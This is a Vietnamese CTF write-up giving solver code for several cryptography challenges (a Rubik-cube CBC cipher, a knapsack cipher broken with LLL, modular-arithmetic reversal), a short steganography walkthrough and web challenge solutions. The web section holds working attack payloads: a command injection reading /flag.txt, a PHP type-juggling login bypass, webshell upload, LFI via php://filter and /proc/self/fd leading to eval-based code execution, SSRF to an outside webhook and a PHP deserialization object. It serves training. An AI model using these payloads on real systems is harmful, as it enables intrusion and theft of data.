21 22 23 | 24 25 26 | 27 28 29 | 30 31 32
33 34 35 | 36 37 38 | 39 40 41 | 42 43 44
		     
           45 46 47 
           48 49 50
           51 52 53		 

Với bài này, tôi đã từng chơi qua một bài CTF tương tự. Việc cần làm chỉ là tìm lại tên của nó, và tôi tìm ra nó là RubikCBC của giải rgbCTF 2020. Tôi tìm code solve hồi đó của tôi và sửa lại đôi chút để phù hợp với challenge này:

facestring = "AAAAAAAAABBBCCCDDDEEEBBBCCCDDDEEEBBBCCCDDDEEEFFFFFFFFF"

def format(a):
    out = ""
    a = a.replace("'","22")
    for i in a.split(" "):
        out += (i[0] + " ")*len(i)
    out = out[:-1]
    return out


def nice(a):
    for i in range(3):
        print("   "+a[i*3:i*3+3])
    for i in range(3):
        print(a[i*12+9:i*12+21])
    for i in range(3):
        print("   "+a[i*3+45:i*3+48])

def strface(a):
    new = [[["" for _ in range(3)] for _ in range(3)] for _ in range(6)]
    for i,j in enumerate(a[:9]):
        new[0][i//3][i%3] = j
    for i,j in enumerate(a[-9:]):
        new[5][i//3][i%3] = j
    mid = a[9:-9]
    for i in range(36):
        new[(i//3)%4+1][i//12][i%3] = mid[i]
    return new

def facestr(a):
    new = ""
    for i in a[0]:
        new += "".join(i)
    for i in range(3):
        for j in a[1:-1]:
            new += "".join(j[i])
    for i in a[-1]:
        new += "".join(i)
    return new

def bfacestr(a):
    new = []
    for i in a[0]:
        new += i
    for i in range(3):
        for j in a[1:-1]:
            new += j[i]
    for i in a[-1]:
        new += i
    return new

print(strface(facestring))
print(facestr(strface(facestring)))

def r(face , n = 1):
    for i in range(n):
        face = [list(x) for x in zip(*face[::-1])]
    return face

def shift(faces, nums):
    new = [x[:] for x in faces]
    newnums = nums[-1:] + nums[:-1]
    for i in range(4):
        new[newnums[i]][0] = faces[nums[i]][0]
    return new

def spin(faces,a):
    if a == 0:
        return faces
    if a == 1:
        return [r(faces[1]),r(faces[5]),r(faces[2]),r(faces[0]),r(faces[4],3),r(faces[3])]
    if a == 2:
        return [faces[2],r(faces[1],3),faces[5],r(faces[3]),r(faces[0],2),r(faces[4],2)]
    if a == 3:
        for i in range(3):
            faces = spin(faces,1)
        return faces
    if a == 4:
        for i in range(3):
            faces = spin(faces,2)
        return faces
    if a == 5:
        for i in range(2):
            faces = spin(faces,2)
        return faces

def turn(faces,a):
    b = ["U","L","F","R","B","D"].index(a)
    new_faces = spin(faces,b)

    new_faces[0] = r(new_faces[0])
    new_faces = shift(new_faces,[1,2,3,4])


    for i in range(3):
            new_faces = spin(new_faces,b)

    return new_faces

def decrypt(ciphertext, turns):
    IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"

    ciphertext_blocks = [ciphertext[i*54:i*54+54] for i in range(len(ciphertext)//54)]
    
    out = b""
    
    for block in ciphertext_blocks:
        cube = strface(block)
        for i in turns.split(" "):
            cube = turn(cube,i)
    
        pp1 = bfacestr(cube)
        pp2 = bytes([_a ^ _b for _a, _b in zip(pp1, IV)])
        out += pp2
    
        IV = block

    return out

turns = "D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
turns = format(turns)

ciphertext = b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'

print(decrypt(ciphertext, turns))

Flag: CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}

Knapsack Ls

knapsack.py

from Crypto.Util import number
from Crypto.Util.Padding import pad,unpad

def split_block(data:bytes, block_size:int):
	for i in range(0,len(data),block_size):
		yield data[i:i+block_size]

def convert_bytes_bin(data:bytes, bit_size:int)->list:# little endian 
	data = int.from_bytes(data,'little')
	return [(data//(1<<i))&1 for i in range(bit_size)]

def convert_bin_bytes(data:list, bit_size:int)->bytes:# little endian 
	data = sum(data[i]<<i for i in range(bit_size))
	return data.to_bytes(bit_size//8,'little')

class Server:
	def __init__(self,bits):
		self.q,self.r = 0,0
		self.W = []
		## pub_key
		self.H = []
		
		self.block_size = 32 ## in bits
		assert bits&7 == 0 , "Must diviable by 8"
		assert bits>self.block_size+1, "Must larger than block_size"
		self.bits_protocol = bits
	
	def generate(self):
		# tmp = self.bits_protocol//self.block_size
		tmp = 2
		while True:
			self.W = []
			for i in range(1,self.block_size+1):
				self.W.append(number.getRandomRange(sum(self.W)+1,1<<(i*tmp) ))	
			# print(self.W)
			if sum(self.W)>(1<<self.bits_protocol):continue
			self.q = number.getRandomRange(sum(self.W),1<<(self.bits_protocol))
			self.r = number.getRandomRange(1,self.q)
			if number.GCD(self.r,self.q)!=1:continue
			break
			
		for i in range(self.block_size):
			self.H.append((self.W[i]*self.r)%self.q)
		# print(self.W)
	
	def encrypt(self,message: bytes) -> bytes:
		if len(message)%(self.block_size>>3)!=0: message = pad(message,self.block_size>>3)
		cipher_bytes = b''
		for data in split_block(message,self.block_size>>3):
			tmp = convert_bytes_bin(data,self.block_size)
			tmp = sum((a*b) for a,b in zip(tmp,self.H))#%self.q
			# print((tmp.bit_length()+7)//8)
			cipher_bytes += tmp.to_bytes((self.bits_protocol>>3)+1,'little')
		return cipher_bytes
	
	def __repr__(self):
		return f"public key: {self.H}"
	
if __name__=='__main__':
	server = Server(128)
	server.generate()
	m = b'CTF{CENSORED}'
	c = server.encrypt(m)
	print(c)
	print(server)

cipher.txt

b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'

pub_key.txt

[43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]

Tôi chạy thử file knapsack.py sau khi uncomment dòng # print((tmp.bit_length()+7)//8) thì nhận thấy message bị chia thành từng block 4 bytes và từ 4 bytes đó encrypt được cipher dài 17 bytes.

Chia cipher thành từng block 17 bytes và để ý little endian nên phải đảo ngược. Tôi thu được mảng ret.

from Crypto.Util.number import *

cipher = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'

pub_key = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]

ret = []
for i in range(0, len(cipher), 17):
    ret.append(bytes_to_long(cipher[i:i+17][::-1]))

print(ret)

#ret = [658157336740748078513617478988103909863, 801407625220710617526900261195778627084, 858350295117626581440717262420549187762, 1033531137623151498590666148185839204059, 724221695429542151115546890883063522735, 1018238732058127372071660634048746045642, 872766527203138414179370420050858846425, 717240107460880717639441069017041855116, 932224460090972223441905899076223660873, 721564557670160331780121586296716641463, 677349261871154149350748837802592860952]

Dùng code giải knapsack của giải ASIS 2014 https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/archaic với đầu vào là ret.

#from Crypto.Util.number import *
from sage.all import *

cipher = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'

pub_key = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]
nbit = len(pub_key)
#ret = []
#for i in range(0, len(cipher), 17):
#    ret.append(bytes_to_long(cipher[i:i+17][::-1]))

#print(ret)

ret = [658157336740748078513617478988103909863, 801407625220710617526900261195778627084, 858350295117626581440717262420549187762, 1033531137623151498590666148185839204059, 724221695429542151115546890883063522735, 1018238732058127372071660634048746045642, 872766527203138414179370420050858846425, 717240107460880717639441069017041855116, 932224460090972223441905899076223660873, 721564557670160331780121586296716641463, 677349261871154149350748837802592860952]
for x in range(10):
    A = Matrix(ZZ,nbit+1,nbit+1)

    for i in range(nbit):
        A[i,i] = 1

    for i in range(nbit):
        A[i,nbit] = pub_key[i]

    A[nbit,nbit] = -int(ret[x])

    res = A.LLL()
    print(res)

Chạy file solve với pipeline | grep 0 | grep 1 | grep -v "-", tôi thu được các short vector với mỗi block.

Sử dụng python để giải mã:

from Crypto.Util.number import long_to_bytes

def binary_array_to_little_endian_bytes(binary_array):
    little_endian_array = [binary[::-1] for binary in binary_array]
    
    long_int_array = [int(binary, 2) for binary in little_endian_array]
    
    bytes_array = [long_to_bytes(long_int) for long_int in long_int_array]
    
    return bytes_array

binary_array = ['110000100010101001100010110111100','110101100111011000101100000011100','101011000010110011000110110101100','111110101000110010101100111110100','010001100100111000001100110101100','110011000111011011111010001011100','000101101100110001001110110011000','011001100000110001001110110011000','111110101010011000101100110011100','100111101000010010000100100001000']
little_endian_bytes = binary_array_to_little_endian_bytes(binary_array)

for bytes_data in little_endian_bytes:
    print(bytes_data)

Tôi thu được:

b'{FTC'
b'p4nk'
b'kc45'
b'_51_'
b'k0rb'
b't_n3'
b'3r3h'
b'3r0f'
b's4e_'
b'!!!y'

Flag: CHH{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}

Basic Operator

Vậy thì ý tưởng đơn giản là dựng ngược lại từng hàm để có thể tìm lại được flag

Ban đầu tôi không ra, sau đó tôi để ý ở hàm dùng square root có thể ra 2 đáp án. Tôi đã dùng sage để tính lại một chút rồi lọc kết quả cho vào mảng a1.

import sage.all
import gmpy2

res = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557]

def tonelli_shanks(n, p):
    # Tonelli-Shanks algorithm for finding square roots modulo a prime
    assert pow(n, (p - 1) // 2, p) == 1
    s, e = p - 1, 0
    while s % 2 == 0:
        s, e = s // 2, e + 1
    if e == 1:
        return pow(n, (p + 1) // 4, p)
    q = 2
    while True:
        if pow(q, (p - 1) // 2, p) != p - 1 and pow(q, (p - 1) // 2, p) != 1:
            break
        q += 1

    x = pow(n, (s + 1) // 2, p)
    b = pow(n, s, p)
    g = pow(q, s, p)
    r = e
    while True:
        t, m = b, 0
        for m in range(r):
            if t == 1:
                break
            t = pow(t, 2, p)
        if m == 0:
            return x
        gs = pow(g, 2 ** (r - m - 1), p)
        g = (gs * gs) % p
        x = (x * gs) % p
        b = (b * g) % p
        r = m

p = 1341161101353773850779
e = 2
a = []
for y in res:
    a.append(tonelli_shanks(y, p))
print(a)


a1 = []
for y in a:
    G = sage.all.Integers(p)

    a1.append(G(y).log(G(2)))
print(a1)
a1 = [701324546, 3197098920, 1095769757, 2235407624, 1160535729, 400850331, 3025264424, 4195654675, 711383601, 449762964, 3779431483, 2451496858]

a2 = []
for number in a1:
    binary = bin(number)[2:]
    binary_array = list(binary)
    shift_array = ['0']
    origin_array = [] 
    for i in range(len(binary_array)):
        if(binary_array[i] == shift_array[i]):
            origin_array.append("0")
            if(i != len(binary_array) - 1):
                shift_array.append("0")
        else:
            origin_array.append("1")
            if(i != len(binary_array) - 1):
                shift_array.append("1")
        
    origin_array = ''.join(origin_array)
    origin_array = int(origin_array, 2)
    a2.append(origin_array)
print(a2)

a3 = []
def reverse_mul_func(result, mul):
    if mul == 0:
        return 0 
    return int((result * gmpy2.invert(mul, 2**32)) & 0xffffffff)
for y in a2:
    a3.append(reverse_mul_func(y,2898124289))
print(a3)

a4=[]
def reverse_plus_func(result, shift):
    return (result - shift) & 0xffffffff
for y in a3:
    a4.append(reverse_plus_func(y,3442055609))
print(a4)

def join_blocks(blocks):
    return b''.join(block.to_bytes((block.bit_length() + 7) // 8, 'little') for block in blocks)

a5 = join_blocks(a4)
print(a5)

def unpadding_pkcs7(padded_data):
    padding_size = padded_data[-1]
    return padded_data[:-padding_size]
a6 = unpadding_pkcs7(a5)
print(a6)

Flag: CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}

Stenography💹

Cutt3 Kitty

Dùng stegsolve với ảnh mà bài đã cho và binwalk file ảnh ra bạn được 1 loạt tệp tin.

Sau đó từ file âm thanh tôi nhận được 1 dòng ký tự:

Dùng strings tôi đọc được

Vậy nên tôi sẽ giải nén bằng unrar. Nhưng bị lỗi do:

Đổi header về rar để xem còn lỗi không

byte cuối là 0x01

Lưu nó lại và giải nén.

password là text mà bạn nhìn thấy ở phần âm thanh

Thêm format CHH{} vào là xong

Web🕸️

Be positive

Đề bài cung cấp cho 2 tài khoản cùng mật khẩu là alice và bob. Đăng nhập thì thấy rằng phải có đủ tiền ở mỗi tài khoản là $3001 thì mới mua được flag. Và chức năng chuyển tiền có lỗ hổng cho phép tùy ý điều chỉnh số tiền chuyển đi mà không filter

Sử dụng payload này tăng được số tiền của alice và mua được flag

Slow down

Cũng vẫn giống như bài Be Positive tuy nhiên lần này thử payload tương tự thì làm tăng tiền ở tài khoản bob chứ không phải alice và mua được flag

Youtube Downloader

Với bài này cho input vào là đường link youtube để download tuy nhiên nó đã bị command injection

Sử dụng payload: &&cat /flag.txt với đường dẫn youtube bất kì là có được flag

Magic Login

Với trang web login đơn giản, CTRL+U để xem được code php

Ở đây phần điều kiện cho password dính lỗi Type Juggling của PHP tức là chỉ cần mã hash sha256 của password có "0" ở đầu là có thể bypass được

Với payload "TyNOQHUS" sẽ cho ra mã hash sha256 là "0e66298694359207596086558843543959518835691168370379069085300385". Từ đó chúng ta đăng nhập thành công.

Tiếp đến là chức năng upload file mà không filter hay validate file

Vậy nên có thể dễ dàng upload webshell lên và đọc được flag

Magic Login Header

Description: Hãy quan sát chức năng đăng nhập, nó có tồn tại những lỗ hổng nghiêm trọng. FLAG được lưu trong /flagXXX.txt hãy tìm cách đọc được chúng.

FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
cp /flag.txt /flag$FLAG.txt

Link source: Challenge Download: https://drive.google.com/file/d/1ZSmsdcJ3iFR2KH4aSBQ9z4xlY-z8o-UH/view?usp=drive_link (pass: cookiehanhoan)

1/ Initial reconnaissance:

• Vào website nhận được một giao diện có mỗi chức năng đăng nhập, chức năng forgot password không thể sử dụng.

2/ Rebuild the environment and review source code:

• Vì không tìm được những điều khả nghi ở trang login nên giờ ngó qua source xem có những gì.Comment

• Source cho sẵn 3 file admin.php, index.php, 1.txt. Đọc source thì tôi thấy, để đăng nhập vào hệ thống, thì tôi sẽ nhập username và password, rồi server sẽ decode bằng base64 cả username và password. Sau đó, phần username và password đã được base64_decode, sẽ được đưa qua 1 hàm hash md5() rồi so sánh cả 2 hash.Comment

• Điểm đặc biệt là bài yêu cầu $username và $password phải khác nhau (loose comparison), tuy nhiên, hash md5 của chúng phải giống nhau (strict comparison). Nếu thỏa mãn thì redirect tới admin.php?file=1.txt. Tôi có thử truy cập khi chưa login thành công, kết quả là có thông báo lỗi. Có lẽ admin.php chặn truy cập bằng session.Comment

• Tôi sử dụng hash có sẵn từ trang wiki, rồi sử dụng cyberchef để lấy base64 encode rồi gửi lên server. Tất nhiên là thành công.

• Đăng nhập thành công nhận được một đoạn text khá là bực mình sau một thời gian tìm cách login.Comment

• Tới đây tôi đoán chắc chắn là lỗi lfi (local file inclusion), vấn đề là tên file flag như thế nào thì không ai biết. Stuck, tôi cố gắng dump thử source code của file admin.php để xem có gì đặc biệt không bằng payload: http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=php://filter/convert.base64-encode/resource=admin.php. Base64 decode và chúng ta có chả có gì ngoài một đoạn text được encode sang base 64.

• Phân tích 1 chút thì đúng như tôi dự đoán, để sử dụng file inclusion, cần phải có session['username'], thỏa mãn khi login thành công. Lúc đó, server sẽ include() file theo tên mà tôi để ở get parameter 'file'. Hàm include() có đặc điểm là sẽ lấy toàn bộ code ở file đấy, vào file hiện tại, tức là nếu trong file tôi include có code php, nó cũng sẽ được thực thi khi tôi request. Vì vậy, để lấy file content thì thường thì tôi sẽ cần base64 encode nó như payload lấy admin.php.

• Quay lại với việc lấy thông tin các file ở vị trí hiện tại, tôi có nhớ ra là /proc/self/ là 1 file chứa thông tin của process hiện tại, với self giúp chỉ hướng tới process hiện tại mà không cần process id. Vậy nên tôi đã thử rất nhiều payload include() với /proc/self.Comment

• Cuối cùng, tôi tìm được 1 payload có vẻ khả dĩ /proc/self/fd/{fid}. Với fid là số từ 1. Thử brute force thì ra 4. Với payload: http://34.80.117.212:9005/admin.php?file=/proc/self/fd/11, chúng ta có 1 response khả nghi

• Tôi đoán đây chính là file session. với username chính là username mình nhập vào. Nhưng tôi bị stuck vì chưa biết tình cách nào để đi tiếp, tôi khá chắc là file session, tôi đã tiếp tục research trên mạng và tìm được bài viết liên quan tới lfi, rce và session.Comment

• Lúc tìm được, 1 phần vì không chắc chắn với hướng đi, 1 phần vì cố gắng tự tạo 1 file shell php có md5 hash collision có vẻ bất khả thi với mình, nên tôi đã dừng việc tìm kiếm lại. Tuy nhiên, đáp án lại nằm ở việc research. Chỉ vài phút search, chúng ta đã có 2 file php với hash md5 collision, 1 file trong số đó là php shell. link

3/ Exploitation

• Lặp lại trình tự ban đầu, chúng ta có 1 shell trên server khi inject shell vào parameter username. Công việc tiếp theo là khá đơn giản, đây là 1 shell eval(), tôi lần lượt list tất cả các file có trong server, mình thử 1 payload http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=/proc/self/fd/4&1=echo(%27flag%27); và nhận được kết quả khá ưng ý, câu lệnh đã hoạt động.

• Lúc này thì mình research thêm một lúc nữa để tìm cách liệt kê tên tất cả thư mục bằng PHP và bằng một cách khờ khạo nào đó khi mình tìm được tên các file mong muốn nhưng lại không đọc được file flag mình đã sử dụng thêm một hàm dùng để đọc file trong PHP.

2 link xây dựng payload của mình: 1, 2

• Và cuối cùng tôi xây dựng được payload:

http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=/proc/self/fd/4&1=foreach%20(new%20DirectoryIterator(%22/%22)%20as%20$file)%20{if%20($file-%3EisFile())%20{print%20$file-%3EgetFilename()%20.%20%22\n%22;}}

http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=/proc/self/fd/4&1=foreach%20(new%20DirectoryIterator(%22/%22)%20as%20$file)%20{if%20($file-%3EisFile())%20{print%20$file-%3EgetFilename()%20.%20%22\n%22;}}%20echo%20file_get_contents(%22../../flagavio4.txt%22);

• Nhưng thật ra tới đây các chỉ khi tìm thấy flagXXXXX.txt mà đề bài yêu cầu đơn giản hóa đi :)))

Video Link Extractor

Description:

Video Link Extractor là công cụ giúp bạn trích xuất những thông tin cơ bản của các dịch vụ Video trực tuyến như Youtube, Vimeo. Tuy nhiên nó có tồn tại một lỗ hổng nghiêm trọng, hãy tìm ra nó và lợi dụng nó để đọc FLAG được lưu trong flag.php

Tải Challenge: https://drive.google.com/file/d/1jG_gLa9W_qcxhrAokVAbLgkEd2yS-uEX/view?usp=drive_link

1/ Initial reconnaissance:

• Tôi có một website có thể extract thông tin của của MV trên youtube

• Tiếp theo tôi có 4 file php có trong source utils.php, flag.php, format.php, index.php.

2/ Rebuild the environment and review source code:

Ở trong file utils.php thấy có sử dụng unserialize và trong hàm __wakeup có đoạn include $this->_file, nghi ngờ đây có thể là PHP Deserialization.

• Tiếp theo tôi thấy, host=local trang web thực hiện đoạn code:

• Lợi dụng điều đó, tôi sẽ gọi đến chức năng redirect của localhost:1337. Vì nó nhận vào param là url, tôi sẽ thay url là webhook tôi sử dụng và xây dựng được payload đầu tiên:

• ?mode=redirect%26url=https://webhook.site/e2be3efa-76dc-4f31-ac1c-a644865d09d3

• Nó đã get tới webhook của tôi:Comment

3/ Exploitation:

• Tiếp theo là tạo payload để cho vào unserialize

<?php 
class Utils {
    public $_file = "php://filter/convert.base64-encode/resource=flag.php";
};
echo(serialize(new Utils()));
?>

• Tiếp tôi sẽ thay kết quả của script vào response của webhook rồi gửi send trên burp suite để nhận respone mới.

• Tôi thấy được một đoạn mã được gửi về và giờ chỉ việc decode base 64 và nhận được kết quả đang cần tìm